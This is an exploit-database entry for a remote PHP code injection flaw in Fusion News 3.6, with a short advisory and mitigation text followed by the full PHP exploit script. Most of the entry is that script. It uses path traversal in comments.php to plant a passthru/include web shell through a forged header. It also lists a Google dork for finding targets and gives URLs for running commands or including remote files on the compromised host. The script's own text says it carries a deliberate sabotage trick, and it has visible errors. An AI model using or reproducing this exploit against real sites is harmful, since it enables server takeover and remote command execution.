FusionPHP Fusion News Remote PHP Code Injection Vulnerability

vendor:

Fusion News

by:

Network security team

7.5

CVSS

HIGH

Remote PHP Code Injection

CWE

Product Name: Fusion News

Affected Version From: 3.6.2001

Affected Version To: 3.6.2001

Patch Exists: NO

Related CWE: N/A

CPE: a:fusionphp:fusion_news

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: None

2005

FusionPHP Fusion News Remote PHP Code Injection Vulnerability

FusionPHP Fusion News is prone to a remote PHP code injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. This may facilitate unauthorized access. An attacker can exploit this issue to execute arbitrary PHP code within the context of the webserver process.

Mitigation:

Input validation should be used to ensure that untrusted data is not used to execute unintended commands. Additionally, the application should be kept up-to-date with the latest security patches.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/13661/info

FusionPHP Fusion News is prone to a remote PHP code injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. This may facilitate unauthorized access. 

<?
$copyr = "
!!! PRIVATE !!! PRIVATE !!! PRIVATE !!! PRIVATE !!! PRIVATE !!!

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********************************
**** Network security team *****
********* nst.void.ru **********
********************************
* Title: Fusion News v3.6.1
* Date: 15.05.2005
********************************

Remote shell exploit.

Google:
allintitle:f u s i o n : n e w s : m a n a g e m e n t : s y s t e m

Script owner: www.fusionphp.net

*** Exploit contains anti-script kidis trick. ***
Count: 4

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Greentz to Ch0k37 from gh0sts, which wants to purchase this exploit but he was too greedy.

!!! PRIVATE !!! PRIVATE !!! PRIVATE !!! PRIVATE !!! PRIVATE !!!

*** Public: 17.05.2005 ***
";

# CONFIG                     (example: http://www.site.com/news/)
$host   = "www.site.com";       # address - example: www.site.com
$folder = "folder/to/fusion";   # folder - example: news
# END OF CONFIG


$fp = fsockopen($host, 80);
$data = "name=nst&email=&fullnews=nst&chars=297&com_Submit=Submit&pass=";
$out = "POST /$folder/comments.php?mid=post&id=/../../templates/headline_temp HTTP/1.1\r\n";
$out.= "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/msword, */*\r\n";
$out.= "Referer: http://$host/\r\n";
$out.= "Accept-Language: ru\r\n";
$out.= "X-FORWORDEDFOR: <?@include($_GET[nst_inc]);@passthru($_GET[nst_cmd]);?>\r\n";
$out.= "Content-Type: application/x-www-form-urlencoded\r\n";
$out.= "Accept-Encoding: gzip, deflate\r\n";
$out.= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)\r\n";
$out.= "Host: $hots\r\n";
$out.= "Content-Length: 64\r\n";
$out.= "Connection: Keep-Alive\r\n";
$out.= "Cache-Control: no-cache\r\n";
$out.= "\r\n";
$out.= "name=test&email=&fullnews=test&chars=297&com_Submit=Submit&pass=";
fputs($fp,$out);
while(!feof($fp)){
fgets($fp, 128);
}
print "<pre>";
print $copyr;
print "\r\n\r\n <b>
Result:

http://$host/$folder/templates/headline_temp.php?nst_inc=http://YOUR_FILE \r\n";
print "http://$host/$folder/templates/headline_temp.php?nst_cmd=ls -la";
?>